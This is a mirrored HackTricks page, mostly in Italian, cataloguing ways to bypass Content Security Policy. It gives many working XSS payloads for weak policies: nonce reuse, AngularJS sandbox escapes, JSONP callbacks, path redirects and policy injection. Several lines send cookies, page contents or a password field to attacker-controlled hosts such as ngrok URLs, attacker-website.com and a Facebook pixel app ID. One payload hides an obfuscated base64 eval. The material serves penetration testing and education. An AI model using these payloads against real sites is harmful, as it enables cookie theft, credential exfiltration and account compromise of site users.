mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
765 lines
44 KiB
Markdown
765 lines
44 KiB
Markdown
# Content Security Policy (CSP) Bypass
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Che cos'è CSP
|
||
|
||
Content Security Policy (CSP) è riconosciuta come una tecnologia del browser, pensata principalmente per **proteggere da attacchi come cross-site scripting (XSS)**. Funziona definendo e specificando percorsi e origini dalle quali il browser può caricare in modo sicuro le risorse. Queste risorse comprendono elementi come immagini, frame e JavaScript. Ad esempio, una policy potrebbe consentire il caricamento e l'esecuzione di risorse dallo stesso dominio (self), incluse risorse inline e l'esecuzione di codice in stringa tramite funzioni come `eval`, `setTimeout` o `setInterval`.
|
||
|
||
L'implementazione di CSP avviene tramite **header di risposta** o inserendo **elementi meta nella pagina HTML**. Seguendo questa policy, i browser applicano proattivamente tali disposizioni e bloccano immediatamente qualsiasi violazione rilevata.
|
||
|
||
- Implementato tramite header di risposta:
|
||
```
|
||
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
|
||
```
|
||
- Implementato tramite meta tag:
|
||
```xml
|
||
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
|
||
```
|
||
### Intestazioni
|
||
|
||
CSP può essere applicato o monitorato usando queste intestazioni:
|
||
|
||
- `Content-Security-Policy`: Applica la CSP; il browser blocca eventuali violazioni.
|
||
- `Content-Security-Policy-Report-Only`: Usato per il monitoraggio; segnala le violazioni senza bloccarle. Ideale per test in ambienti pre-produzione.
|
||
|
||
### Definizione delle risorse
|
||
|
||
CSP limita le origini per il caricamento sia di contenuti attivi che passivi, controllando aspetti come l'esecuzione di JavaScript inline e l'uso di `eval()`. Un esempio di policy è:
|
||
```bash
|
||
default-src 'none';
|
||
img-src 'self';
|
||
script-src 'self' https://code.jquery.com;
|
||
style-src 'self';
|
||
report-uri /cspreport
|
||
font-src 'self' https://addons.cdn.mozilla.net;
|
||
frame-src 'self' https://ic.paypal.com https://paypal.com;
|
||
media-src https://videos.cdn.mozilla.net;
|
||
object-src 'none';
|
||
```
|
||
### Direttive
|
||
|
||
- **script-src**: Consente sorgenti specifiche per JavaScript, incluse URL, script inline e script attivati da event handler o fogli di stile XSLT.
|
||
- **default-src**: Imposta una policy predefinita per il recupero delle risorse quando non sono presenti direttive di fetch specifiche.
|
||
- **child-src**: Specifica le risorse consentite per web worker e contenuti di frame incorporati.
|
||
- **connect-src**: Restringe le URL che possono essere caricate usando interfacce come fetch, WebSocket, XMLHttpRequest.
|
||
- **frame-src**: Restringe le URL per i frame.
|
||
- **frame-ancestors**: Specifica quali sorgenti possono incorporare la pagina corrente, applicabile a elementi come `<frame>`, `<iframe>`, `<object>`, `<embed>`, e `<applet>`.
|
||
- **img-src**: Definisce le sorgenti consentite per le immagini.
|
||
- **font-src**: Specifica le sorgenti valide per i font caricati tramite `@font-face`.
|
||
- **manifest-src**: Definisce le sorgenti consentite per i file manifesto dell'applicazione.
|
||
- **media-src**: Definisce le sorgenti consentite per il caricamento di oggetti media.
|
||
- **object-src**: Definisce le sorgenti consentite per gli elementi `<object>`, `<embed>`, e `<applet>`.
|
||
- **base-uri**: Specifica le URL consentite per il caricamento tramite elementi `<base>`.
|
||
- **form-action**: Elenca gli endpoint validi per l'invio dei form.
|
||
- **plugin-types**: Restringe i mime type che una pagina può invocare.
|
||
- **upgrade-insecure-requests**: Istruisce i browser a riscrivere le URL HTTP in HTTPS.
|
||
- **sandbox**: Applica restrizioni simili all'attributo sandbox di un `<iframe>`.
|
||
- **report-to**: Specifica un gruppo a cui inviare un report se la policy viene violata.
|
||
- **worker-src**: Specifica le sorgenti valide per gli script di Worker, SharedWorker o ServiceWorker.
|
||
- **prefetch-src**: Specifica le sorgenti valide per risorse che verranno recuperate o precaricate.
|
||
- **navigate-to**: Restringe le URL verso cui un documento può navigare con qualsiasi mezzo (a, form, window.location, window.open, ecc.)
|
||
|
||
### Origini
|
||
|
||
- `*`: Consente tutte le URL tranne quelle con gli schemi `data:`, `blob:`, `filesystem:`.
|
||
- `'self'`: Consente il caricamento dallo stesso dominio.
|
||
- `'data'`: Consente il caricamento di risorse tramite lo schema data (es., immagini codificate in Base64).
|
||
- `'none'`: Blocca il caricamento da qualsiasi sorgente.
|
||
- `'unsafe-eval'`: Consente l'uso di `eval()` e metodi simili, sconsigliato per motivi di sicurezza.
|
||
- `'unsafe-hashes'`: Abilita specifici event handler inline.
|
||
- `'unsafe-inline'`: Consente l'uso di risorse inline come `<script>` o `<style>` inline, sconsigliato per motivi di sicurezza.
|
||
- `'nonce'`: Una whitelist per script inline specifici usando un nonce crittografico (numero usato una volta).
|
||
- Se hai un'esecuzione JS limitata è possibile ottenere un nonce già usato all'interno della pagina con `doc.defaultView.top.document.querySelector("[nonce]")` e poi riutilizzarlo per caricare uno script malevolo (se è usato strict-dynamic, qualsiasi sorgente consentita può caricare nuove sorgenti quindi questo non è necessario), come in:
|
||
|
||
<details>
|
||
|
||
<summary>Carica script riutilizzando il nonce</summary>
|
||
```html
|
||
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
|
||
<img
|
||
src="x"
|
||
ng-on-error='
|
||
doc=$event.target.ownerDocument;
|
||
a=doc.defaultView.top.document.querySelector("[nonce]");
|
||
b=doc.createElement("script");
|
||
b.src="//example.com/evil.js";
|
||
b.nonce=a.nonce; doc.body.appendChild(b)' />
|
||
```
|
||
</details>
|
||
|
||
- `'sha256-<hash>'`: Inserisce nella whitelist gli script con uno specifico hash sha256.
|
||
- `'strict-dynamic'`: Permette il caricamento di script da qualsiasi origine se sono stati messi in whitelist tramite un nonce o hash.
|
||
- `'host'`: Specifica un host, ad esempio `example.com`.
|
||
- `https:`: Restringe gli URL a quelli che usano HTTPS.
|
||
- `blob:`: Consente di caricare risorse da Blob URL (es. Blob URL creati tramite JavaScript).
|
||
- `filesystem:`: Consente il caricamento di risorse dal filesystem.
|
||
- `'report-sample'`: Include un esempio del codice violante nel report di violazione (utile per il debugging).
|
||
- `'strict-origin'`: Simile a 'self' ma garantisce che il livello di sicurezza del protocollo delle sorgenti corrisponda a quello del documento (solo origini sicure possono caricare risorse da origini sicure).
|
||
- `'strict-origin-when-cross-origin'`: Invia URL completi quando effettua richieste same-origin ma invia solo l'origine quando la richiesta è cross-origin.
|
||
- `'unsafe-allow-redirects'`: Consente il caricamento di risorse che reindirizzano immediatamente a un'altra risorsa. Non raccomandato perché indebolisce la sicurezza.
|
||
|
||
## Unsafe CSP Rules
|
||
|
||
### 'unsafe-inline'
|
||
```yaml
|
||
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
|
||
```
|
||
Payload funzionante: `"/><script>alert(1);</script>`
|
||
|
||
#### self + 'unsafe-inline' tramite iframe
|
||
|
||
|
||
{{#ref}}
|
||
csp-bypass-self-+-unsafe-inline-with-iframes.md
|
||
{{#endref}}
|
||
|
||
### 'unsafe-eval'
|
||
|
||
> [!CAUTION]
|
||
> Questo non funziona, per maggiori informazioni [**check this**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
|
||
```yaml
|
||
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
|
||
```
|
||
Payload funzionante:
|
||
```html
|
||
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
|
||
```
|
||
### strict-dynamic
|
||
|
||
Se in qualche modo puoi far sì che un **codice JS consentito crei un nuovo script tag** nel DOM con il tuo codice JS, perché uno script consentito lo sta creando, il **nuovo script tag sarà autorizzato a essere eseguito**.
|
||
|
||
### Wildcard (\*)
|
||
```yaml
|
||
Content-Security-Policy: script-src 'self' https://google.com https: data *;
|
||
```
|
||
Funzionante payload:
|
||
```html
|
||
"/>'><script src=https://attacker-website.com/evil.js></script>
|
||
"/>'><script src=data:text/javascript,alert(1337)></script>
|
||
```
|
||
### Mancanza di object-src e default-src
|
||
|
||
> [!CAUTION] > **Sembra che questo non funzioni più**
|
||
```yaml
|
||
Content-Security-Policy: script-src 'self' ;
|
||
```
|
||
Payloads funzionanti:
|
||
```html
|
||
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
|
||
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
|
||
<param name="AllowScriptAccess" value="always"></object>
|
||
```
|
||
### Caricamento file + 'self'
|
||
```yaml
|
||
Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
||
```
|
||
Se puoi caricare un file JS puoi bypassare questa CSP:
|
||
|
||
Payload funzionante:
|
||
```html
|
||
"/>'><script src="/uploads/picture.png.js"></script>
|
||
```
|
||
Tuttavia, è molto probabile che il server stia **validando il file caricato** e permetta solo di **caricare determinati tipi di file**.
|
||
|
||
Moreover, even if you could upload a **JS code inside** a file using an extension accepted by the server (like: _script.png_) this won't be enough because some servers like apache server **select MIME type of the file based on the extension** and browsers like Chrome will **reject to execute Javascript** code inside something that should be an image. "Hopefully", there are mistakes. For example, from a CTF I learnt that **Apache doesn't know** the _**.wave**_ extension, therefore it doesn't serve it with a **MIME type like audio/***.
|
||
|
||
Da qui, se trovi una XSS e un upload di file, e riesci a trovare un'**misinterpreted extension**, potresti provare a caricare un file con quella estensione contenente il contenuto dello script. Oppure, se il server verifica il formato corretto del file caricato, crea un polyglot ([some polyglot examples here](https://github.com/Polydet/polyglot-database)).
|
||
|
||
### Form-action
|
||
|
||
Se non è possibile iniettare JS, puoi comunque provare a esfiltrare per esempio credenziali **iniettando un form action** (e magari sperando che i password manager compilino automaticamente le password). You can find an [**example in this report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Inoltre, nota che `default-src` non copre i form actions.
|
||
|
||
### Third Party Endpoints + ('unsafe-eval')
|
||
|
||
> [!WARNING]
|
||
> Per alcuni dei payload seguenti **`unsafe-eval` non è nemmeno necessario**.
|
||
```yaml
|
||
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
|
||
```
|
||
Carica una versione vulnerabile di angular ed esegui JS arbitrario:
|
||
```xml
|
||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
|
||
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
|
||
|
||
|
||
"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
|
||
|
||
|
||
"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
|
||
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
|
||
|
||
|
||
With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
|
||
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
|
||
<iframe/ng-app/ng-csp/srcdoc="
|
||
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
|
||
</script>
|
||
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
|
||
>
|
||
```
|
||
#### Payloads che utilizzano Angular + una library con functions che restituiscono l'oggetto `window` ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
||
|
||
> [!TIP]
|
||
> L'articolo mostra che puoi caricare tutte le **libraries** da `cdn.cloudflare.com` (o qualsiasi altro repo di JS libraries consentito), eseguire tutte le **functions** aggiunte di ciascuna library e verificare **quali functions di quali libraries restituiscono l'oggetto `window`**.
|
||
```html
|
||
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
|
||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
|
||
<div ng-app ng-csp>
|
||
{{$on.curry.call().alert(1)}}
|
||
{{[].empty.call().alert([].empty.call().document.domain)}}
|
||
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
|
||
</div>
|
||
|
||
|
||
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
|
||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
|
||
<div ng-app ng-csp>
|
||
{{$on.curry.call().alert('xss')}}
|
||
</div>
|
||
|
||
|
||
<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
|
||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
|
||
<div ng-app ng-csp>
|
||
{{[].erase.call().alert('xss')}}
|
||
</div>
|
||
```
|
||
Angular XSS da un nome di classe:
|
||
```html
|
||
<div ng-app>
|
||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||
</div>
|
||
```
|
||
#### Abuso di google recaptcha JS code
|
||
|
||
Secondo [**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) puoi abusare di [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) all'interno di una CSP per eseguire arbitrary JS code eludendo la CSP:
|
||
```html
|
||
<div
|
||
ng-controller="CarouselController as c"
|
||
ng-init="c.init()"
|
||
>
|
||
[[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
|
||
<div carousel><div slides></div></div>
|
||
|
||
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
|
||
```
|
||
Altri [**payloads from this writeup**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
|
||
```html
|
||
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
|
||
|
||
<!-- Trigger alert -->
|
||
<img src="x" ng-on-error="$event.target.ownerDocument.defaultView.alert(1)" />
|
||
|
||
<!-- Reuse nonce -->
|
||
<img
|
||
src="x"
|
||
ng-on-error='
|
||
doc=$event.target.ownerDocument;
|
||
a=doc.defaultView.top.document.querySelector("[nonce]");
|
||
b=doc.createElement("script");
|
||
b.src="//example.com/evil.js";
|
||
b.nonce=a.nonce; doc.body.appendChild(b)' />
|
||
```
|
||
#### Abuso di www.google.com per open redirect
|
||
|
||
La seguente URL reindirizza a example.com (da [here](https://www.landh.tech/blog/20240304-google-hack-50000/)):
|
||
```
|
||
https://www.google.com/amp/s/example.com/
|
||
```
|
||
Abuso di \*.google.com/script.google.com
|
||
|
||
È possibile abusare di Google Apps Script per ricevere informazioni in una pagina all'interno di script.google.com. Come mostrato in questo [report](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
|
||
|
||
### Endpoint di terze parti + JSONP
|
||
```http
|
||
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
||
```
|
||
Scenari come questo, in cui `script-src` è impostato su `self` e un dominio particolare incluso nella whitelist, possono essere bypassati usando JSONP. Gli endpoint JSONP consentono metodi di callback insicuri che permettono a un attacker di eseguire XSS, payload funzionante:
|
||
```html
|
||
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
|
||
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
||
```
|
||
|
||
```html
|
||
https://www.youtube.com/oembed?callback=alert;
|
||
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
|
||
```
|
||
|
||
```html
|
||
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>
|
||
```
|
||
[**JSONBee**](https://github.com/zigoo0/JSONBee) **contiene endpoint JSONP pronti all'uso per CSP bypass di diversi siti web.**
|
||
|
||
La stessa vulnerabilità si verifica se l'endpoint trusted contiene un Open Redirect, perché se l'endpoint iniziale è trusted, anche i redirect sono considerati trusted.
|
||
|
||
### Abusi di terze parti
|
||
|
||
Come descritto nel [post seguente](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), esistono molti domini di terze parti che potrebbero essere consentiti nella CSP e che possono essere abusati per exfiltrate data o per eseguire codice JavaScript. Alcuni di questi fornitori di terze parti sono:
|
||
|
||
| Entità | Dominio consentito | Capacità |
|
||
| ----------------- | -------------------------------------------- | ------------ |
|
||
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
|
||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
|
||
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
|
||
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
|
||
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
|
||
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
|
||
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
|
||
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
|
||
|
||
Se trovi uno qualsiasi dei domini consentiti nella CSP del tuo target, è probabile che tu possa bypassare la CSP registrandoti sul servizio di terze parti e quindi o exfiltrate data verso quel servizio oppure eseguire codice.
|
||
|
||
Ad esempio, se trovi la seguente CSP:
|
||
```
|
||
Content-Security-Policy: default-src 'self’ www.facebook.com;
|
||
```
|
||
o
|
||
```
|
||
Content-Security-Policy: connect-src www.facebook.com;
|
||
```
|
||
Dovresti essere in grado di esfiltrare dati, in modo simile a come è sempre stato fatto con [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). In questo caso, segui questi passaggi generali:
|
||
|
||
1. Crea un Facebook Developer account qui.
|
||
2. Crea una nuova app "Facebook Login" e seleziona "Website".
|
||
3. Vai su "Settings -> Basic" e recupera il tuo "App ID"
|
||
4. Nel sito target da cui vuoi esfiltrare i dati, puoi farlo usando direttamente il gadget del Facebook SDK "fbq" tramite un "customEvent" e il relativo payload.
|
||
5. Vai al "Event Manager" della tua App e seleziona l'applicazione che hai creato (nota che l'event manager può essere trovato in un URL simile a questo: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
|
||
6. Seleziona la tab "Test Events" per vedere gli eventi inviati dal "tuo" sito web.
|
||
|
||
Poi, sul lato della vittima, esegui il seguente codice per inizializzare il Facebook tracking pixel in modo che punti all'app-id dell'account Facebook Developer dell'attaccante e emettere un custom event come segue:
|
||
```JavaScript
|
||
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
||
fbq('trackCustom', 'My-Custom-Event',{
|
||
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
|
||
});
|
||
```
|
||
Per quanto riguarda gli altri sette domini di terze parti specificati nella tabella precedente, ci sono molti altri modi in cui puoi abusarne. Consulta il precedente [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) per spiegazioni aggiuntive su altri abusi di terze parti.
|
||
|
||
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||
|
||
Oltre alla redirezione sopracitata per aggirare le restrizioni di percorso, esiste un'altra tecnica chiamata Relative Path Overwrite (RPO) che può essere utilizzata su alcuni server.
|
||
|
||
Ad esempio, se CSP permette il percorso `https://example.com/scripts/react/`, può essere aggirato come segue:
|
||
```html
|
||
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
|
||
```
|
||
Il browser caricherà infine `https://example.com/scripts/angular/angular.js`.
|
||
|
||
Questo funziona perché per il browser stai caricando un file chiamato `..%2fangular%2fangular.js` situato sotto `https://example.com/scripts/react/`, il che è conforme alla CSP.
|
||
|
||
Successivamente, verrà decodificato, richiedendo effettivamente `https://example.com/scripts/react/../angular/angular.js`, che è equivalente a `https://example.com/scripts/angular/angular.js`.
|
||
|
||
**Sfruttando questa inconsistenza nell'interpretazione degli URL tra il browser e il server, le regole sui percorsi possono essere eluse.**
|
||
|
||
La soluzione è non trattare `%2f` come `/` lato server, garantendo un'interpretazione coerente tra browser e server per evitare questo problema.
|
||
|
||
Online Example:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
|
||
|
||
### Esecuzione JS negli iframe
|
||
|
||
|
||
{{#ref}}
|
||
../xss-cross-site-scripting/iframes-in-xss-and-csp.md
|
||
{{#endref}}
|
||
|
||
### Mancanza di **base-uri**
|
||
|
||
Se la direttiva **base-uri** è assente puoi abusarne per eseguire una [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html).
|
||
|
||
Moreover, if the **page is loading a script using a relative path** (like `<script src="/js/app.js">`) using a **Nonce**, you can abuse the **base** **tag** to make it **load** the script from **your own server achieving a XSS.**\
|
||
Se la pagina vulnerabile è caricata con **httpS**, usa un URL httpS nel base.
|
||
```html
|
||
<base href="https://www.attacker.com/" />
|
||
```
|
||
### Eventi AngularJS
|
||
|
||
Una specifica policy nota come Content Security Policy (CSP) può limitare gli eventi JavaScript. Tuttavia, AngularJS introduce eventi personalizzati come alternativa. All'interno di un evento, AngularJS fornisce un oggetto speciale `$event`, che fa riferimento all'oggetto evento nativo del browser. Questo oggetto `$event` può essere sfruttato per aggirare la CSP.
|
||
|
||
In particolare, su Chrome, l'oggetto `$event/event` possiede un attributo `path`, che contiene un array di oggetti implicati nella catena di esecuzione dell'evento, con l'oggetto `window` sempre posizionato alla fine. Questa struttura è fondamentale per le tecniche di sandbox escape.
|
||
|
||
Indirizzando questo array al filtro `orderBy`, è possibile iterarvi sopra, sfruttando l'elemento terminale (l'oggetto `window`) per invocare una funzione globale come `alert()`. Lo snippet di codice mostrato di seguito illustra questo processo:
|
||
```xml
|
||
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
|
||
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
|
||
```
|
||
Questo snippet evidenzia l'uso della direttiva `ng-focus` per attivare l'evento, impiegando `$event.path|orderBy` per manipolare l'array `path`, e sfruttando l'oggetto `window` per eseguire la funzione `alert()`, rivelando così `document.cookie`.
|
||
|
||
**Trova altri Angular bypasses in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
|
||
|
||
### AngularJS e whitelisted domain
|
||
```
|
||
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
|
||
```
|
||
Una CSP policy che whitelists domini per il caricamento di script in un'applicazione Angular JS può essere bypassata tramite l'invocazione di callback functions e di alcune classi vulnerabili. Ulteriori informazioni su questa tecnica sono disponibili in una guida dettagliata reperibile in questo [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
|
||
|
||
Payloads funzionanti:
|
||
```html
|
||
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
|
||
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
|
||
|
||
<!-- no longer working -->
|
||
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
|
||
```
|
||
Altri endpoint JSONP arbitrary execution possono essere trovati in [**here**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (alcuni di essi sono stati eliminati o corretti)
|
||
|
||
### Bypass via Redirection
|
||
|
||
Cosa succede quando la CSP incontra un reindirizzamento lato server? Se il reindirizzamento porta a un origin diverso che non è consentito, fallirà comunque.
|
||
|
||
Tuttavia, secondo la descrizione in [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), se il reindirizzamento porta a un path diverso, può bypassare le restrizioni originali.
|
||
|
||
Ecco un esempio:
|
||
```html
|
||
<!DOCTYPE html>
|
||
<html>
|
||
<head>
|
||
<meta
|
||
http-equiv="Content-Security-Policy"
|
||
content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
|
||
</head>
|
||
<body>
|
||
<div id="userContent">
|
||
<script src="https://https://www.google.com/test"></script>
|
||
<script src="https://https://www.google.com/a/test"></script>
|
||
<script src="http://localhost:5555/301"></script>
|
||
</div>
|
||
</body>
|
||
</html>
|
||
```
|
||
If CSP is set to `https://www.google.com/a/b/c/d`, since the path is considered, both `/test` and `/a/test` scripts will be blocked by CSP.
|
||
|
||
Tuttavia, l'URL finale `http://localhost:5555/301` verrà **reindirizzato lato server a `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Poiché si tratta di un reindirizzamento, il **percorso non viene considerato**, e lo **script può essere caricato**, aggirando così la restrizione sul percorso.
|
||
|
||
Con questo reindirizzamento, anche se il percorso è specificato completamente, verrà comunque aggirato.
|
||
|
||
Pertanto, la soluzione migliore è assicurarsi che il sito non abbia vulnerabilità di open redirect e che non ci siano domini che possano essere sfruttati nelle regole CSP.
|
||
|
||
### Bypass CSP with dangling markup
|
||
|
||
Read [how here](../dangling-markup-html-scriptless-injection/index.html).
|
||
|
||
### 'unsafe-inline'; img-src \*; via XSS
|
||
```
|
||
default-src 'self' 'unsafe-inline'; img-src *;
|
||
```
|
||
`'unsafe-inline'` significa che puoi eseguire qualsiasi script all'interno del codice (XSS può eseguire codice) e `img-src *` significa che puoi usare nella pagina web qualsiasi immagine proveniente da qualsiasi risorsa.
|
||
|
||
Puoi bypassare questa CSP esfiltrando i dati tramite immagini (in questo caso l'XSS sfrutta una CSRF in cui una pagina accessibile dal bot contiene una SQLi, e estrae il flag tramite un'immagine):
|
||
```javascript
|
||
<script>
|
||
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
|
||
Image().src='http://PLAYER_SERVER/?'+_)
|
||
</script>
|
||
```
|
||
Da: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||
|
||
Potresti anche abusare di questa configurazione per **caricare javascript inserito all'interno di un'immagine**. Se, per esempio, la pagina permette di caricare immagini da Twitter, potresti **creare** una **immagine speciale**, **caricarla** su Twitter e abusare del "**unsafe-inline**" per **eseguire** un codice JS (come un normale XSS) che **caricherà** l'**immagine**, **estrarrà** la **JS** da essa ed **eseguirà** **quest'ultima**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||
|
||
### Con Service Workers
|
||
|
||
Service workers **`importScripts`** function isn't limited by CSP:
|
||
|
||
|
||
{{#ref}}
|
||
../xss-cross-site-scripting/abusing-service-workers.md
|
||
{{#endref}}
|
||
|
||
### Policy Injection
|
||
|
||
**Research:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
|
||
|
||
#### Chrome
|
||
|
||
Se un **parametro** inviato da te viene **incollato all'interno** della **dichiarazione** della **policy**, allora potresti **alterare** la **policy** in qualche modo da renderla **inutile**. Potresti **permettere** lo script '**unsafe-inline**' con uno di questi bypass:
|
||
```bash
|
||
script-src-elem *; script-src-attr *
|
||
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
||
```
|
||
Perché questa direttiva **sovrascriverà le direttive script-src esistenti**.\
|
||
You can find an example here: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
|
||
|
||
#### Edge
|
||
|
||
In Edge è molto più semplice. Se riesci ad aggiungere nella CSP soltanto questo: **`;_`**, **Edge** annullerebbe l'intera **policy**.\
|
||
